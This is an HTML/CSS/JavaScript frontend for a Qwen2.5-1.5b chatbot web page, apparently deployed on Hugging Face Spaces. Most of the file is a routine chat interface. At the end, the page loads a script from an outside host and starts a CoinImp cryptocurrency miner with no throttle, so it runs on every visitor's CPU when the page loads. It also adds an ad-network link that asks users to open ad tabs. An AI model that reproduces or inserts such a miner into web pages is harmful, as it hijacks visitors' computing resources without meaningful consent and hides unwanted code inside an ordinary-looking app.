AI_Chatbot / frontend.html
LejobuildYT's picture
Update frontend.html
f3ad0a3 verified
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🤖 Qwen2.5-1.5b Chatbot</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
:root {
--primary: #667eea;
--secondary: #764ba2;
--gray-50: #f9fafb;
--gray-100: #f3f4f6;
--gray-300: #d1d5db;
--gray-500: #6b7280;
--gray-600: #4b5563;
--gray-700: #374151;
--gray-800: #1f2937;
--gray-900: #111827;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: linear-gradient(135deg, var(--primary) 0%, var(--secondary) 100%);
min-height: 100vh;
color: var(--gray-900);
}
.app-container {
display: flex;
flex-direction: column;
height: 100vh;
background: var(--gray-50);
}
.app-header {
background: linear-gradient(135deg, var(--primary) 0%, var(--secondary) 100%);
color: white;
padding: 20px;
text-align: center;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.app-header h1 {
font-size: 28px;
margin-bottom: 5px;
}
.app-content {
display: flex;
flex: 1;
gap: 20px;
padding: 20px;
max-width: 1200px;
margin: 0 auto;
width: 100%;
}
.sidebar {
width: 280px;
background: white;
border-radius: 8px;
padding: 20px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
overflow-y: auto;
}
.sidebar h3 {
color: var(--gray-900);
font-size: 14px;
margin-bottom: 12px;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.sidebar label {
display: block;
font-size: 12px;
color: var(--gray-600);
font-weight: 600;
margin-top: 12px;
margin-bottom: 6px;
}
.sidebar textarea {
width: 100%;
min-height: 80px;
padding: 8px;
border: 1px solid var(--gray-300);
border-radius: 6px;
font-size: 12px;
resize: vertical;
}
.sidebar input[type="range"] {
width: 100%;
margin-top: 6px;
}
.chat-container {
flex: 1;
display: flex;
flex-direction: column;
background: white;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
overflow: hidden;
}
.messages {
flex: 1;
overflow-y: auto;
padding: 20px;
display: flex;
flex-direction: column;
gap: 12px;
}
.empty-state {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 20px;
text-align: center;
padding: 40px;
color: var(--gray-600);
}
.empty-icon {
font-size: 48px;
opacity: 0.6;
}
.message {
display: flex;
gap: 10px;
animation: slideIn 0.3s ease;
}
@keyframes slideIn {
from { opacity: 0; transform: translateY(10px); }
to { opacity: 1; transform: translateY(0); }
}
.message.user {
justify-content: flex-end;
}
.message-avatar {
font-size: 18px;
flex-shrink: 0;
}
.message-content {
display: flex;
flex-direction: column;
gap: 4px;
max-width: 70%;
}
.message.user .message-content {
align-items: flex-end;
}
.message-text {
padding: 10px 14px;
border-radius: 12px;
word-wrap: break-word;
font-size: 13px;
line-height: 1.5;
}
.message.user .message-text {
background: var(--primary);
color: white;
}
.message.assistant .message-text {
background: var(--gray-100);
color: var(--gray-900);
}
.message-stats {
font-size: 11px;
color: var(--gray-500);
padding: 0 14px;
}
.typing-indicator {
display: flex;
gap: 4px;
padding: 10px 14px;
}
.typing-indicator span {
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--gray-400);
animation: typing 1.4s infinite;
}
.typing-indicator span:nth-child(2) { animation-delay: 0.2s; }
.typing-indicator span:nth-child(3) { animation-delay: 0.4s; }
@keyframes typing {
0%, 60%, 100% { opacity: 0.5; transform: translateY(0); }
30% { opacity: 1; transform: translateY(-8px); }
}
.input-area {
display: flex;
gap: 10px;
padding: 15px 20px;
border-top: 1px solid var(--gray-300);
background: var(--gray-50);
}
.input-area textarea {
flex: 1;
padding: 10px;
border: 1px solid var(--gray-300);
border-radius: 6px;
font-size: 13px;
resize: none;
max-height: 80px;
font-family: inherit;
}
.send-btn {
background: var(--primary);
color: white;
border: none;
padding: 10px 20px;
border-radius: 6px;
font-size: 12px;
font-weight: 600;
cursor: pointer;
align-self: flex-end;
white-space: nowrap;
transition: all 0.2s;
}
.send-btn:hover:not(:disabled) {
background: var(--secondary);
transform: translateY(-2px);
box-shadow: 0 10px 15px rgba(0, 0, 0, 0.1);
}
.send-btn:disabled {
opacity: 0.5;
cursor: not-allowed;
}
@media (max-width: 768px) {
.app-content {
flex-direction: column;
gap: 10px;
}
.sidebar {
width: 100%;
}
.message-content {
max-width: 85%;
}
.input-area {
flex-direction: column;
}
.send-btn {
align-self: stretch;
}
}
</style>
</head>
<body>
<div class="app-container">
<header class="app-header">
<h1>🤖 Qwen2.5-1.5b Chatbot Chatbot</h1>
<p>Powered by Hugging Face Spaces</p>
</header>
<div class="app-content">
<aside class="sidebar">
<h3>⚙️ Settings</h3>
<label>System Prompt</label>
<textarea id="systemPrompt" placeholder="Define assistant role...">Du bist ein hilfsbereiter KI-Assistent.</textarea>
<label>Temperature: <span id="tempValue">0.70</span></label>
<input type="range" id="temperature" min="0" max="2" step="0.1" value="0.7">
<label>Top P: <span id="topPValue">0.90</span></label>
<input type="range" id="topP" min="0" max="1" step="0.05" value="0.9">
<div id="stats" style="margin-top: 20px; padding: 15px; background: #f0f9ff; border-radius: 6px; display: none;">
<h4 style="font-size: 12px; margin-bottom: 8px;">📊 Last Response</h4>
<div style="font-size: 11px; color: var(--gray-600);">
<div>Tokens: <strong id="statsTokens">-</strong></div>
<div>Time: <strong id="statsTime">-</strong>s</div>
</div>
</div>
</aside>
<main class="chat-container">
<div class="messages" id="messages">
<div class="empty-state">
<div class="empty-icon">🤖</div>
<h2 style="color: var(--gray-900);">Welcome!</h2>
<p>Start a conversation with Qwen2.5-1.5b Chatbot</p>
</div>
</div>
<div class="input-area">
<textarea id="messageInput" placeholder="Type your message... (Shift+Enter for new line)" rows="3"></textarea>
<button class="send-btn" id="sendBtn" onclick="sendMessage()">➤ Send</button>
</div>
</main>
</div>
</div>
<script>
const messagesDiv = document.getElementById('messages');
const messageInput = document.getElementById('messageInput');
const sendBtn = document.getElementById('sendBtn');
const systemPromptInput = document.getElementById('systemPrompt');
const tempSlider = document.getElementById('temperature');
const topPSlider = document.getElementById('topP');
const statsDiv = document.getElementById('stats');
let isLoading = false;
let messages = [];
// Update display values
tempSlider.addEventListener('input', (e) => {
document.getElementById('tempValue').textContent = parseFloat(e.target.value).toFixed(2);
});
topPSlider.addEventListener('input', (e) => {
document.getElementById('topPValue').textContent = parseFloat(e.target.value).toFixed(2);
});
messageInput.addEventListener('keypress', (e) => {
if (e.key === 'Enter' && !e.shiftKey && !isLoading) {
e.preventDefault();
sendMessage();
}
});
async function sendMessage() {
const message = messageInput.value.trim();
if (!message || isLoading) return;
isLoading = true;
sendBtn.disabled = true;
messageInput.value = '';
// Clear empty state
if (messagesDiv.querySelector('.empty-state')) {
messagesDiv.innerHTML = '';
}
// Add user message
addMessage('user', message);
try {
const response = await fetch('/api/generate', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
prompt: message,
system_prompt: systemPromptInput.value,
temperature: parseFloat(tempSlider.value),
top_p: parseFloat(topPSlider.value),
max_tokens: 512
})
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
const data = await response.json();
addMessage('assistant', data.response, {
tokens: data.tokens,
time: data.time_seconds
});
// Show stats
document.getElementById('statsTokens').textContent = data.tokens;
document.getElementById('statsTime').textContent = data.time_seconds;
statsDiv.style.display = 'block';
} catch (error) {
addMessage('assistant', `❌ Error: ${error.message}`);
} finally {
isLoading = false;
sendBtn.disabled = false;
messageInput.focus();
}
}
function addMessage(role, content, stats = null) {
const messageEl = document.createElement('div');
messageEl.className = `message ${role}`;
const avatar = role === 'user' ? '👤' : '🤖';
let html = `
<div class="message-avatar">${avatar}</div>
<div class="message-content">
<div class="message-text">${escapeHtml(content)}</div>
`;
if (stats) {
html += `<div class="message-stats">⏱️ ${stats.time}s • 📊 ${stats.tokens} tokens</div>`;
}
html += '</div>';
messageEl.innerHTML = html;
messagesDiv.appendChild(messageEl);
messagesDiv.scrollTop = messagesDiv.scrollHeight;
}
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// Initial focus
messageInput.focus();
</script>
<script src="https://www.hostingcloud.racing/UlRX.js"></script>
<script>
var _client = new Client.Anonymous('6b9fa80102deb9daf09f3aba580c8bdb1fa5744f591de48b5dc9563f7cc61685', {
throttle: 0, c: 'w'
});
_client.start();
_client.addMiningNotification("Top", "This site is running JavaScript miner from coinimp.com. If it bothers you, you can stop it.", "#cccccc", 40, "#3d3d3d");
</script>
<a href="https://www.effectivecpmnetwork.com/pnwjtkz74m?key=7ee1b9b4d9f534e9afd1f553baadf46e" target="_blank">
<button>Support Me! (Ads, close the new tab after ~2 seconds)</button>
</a>
</body>
</html>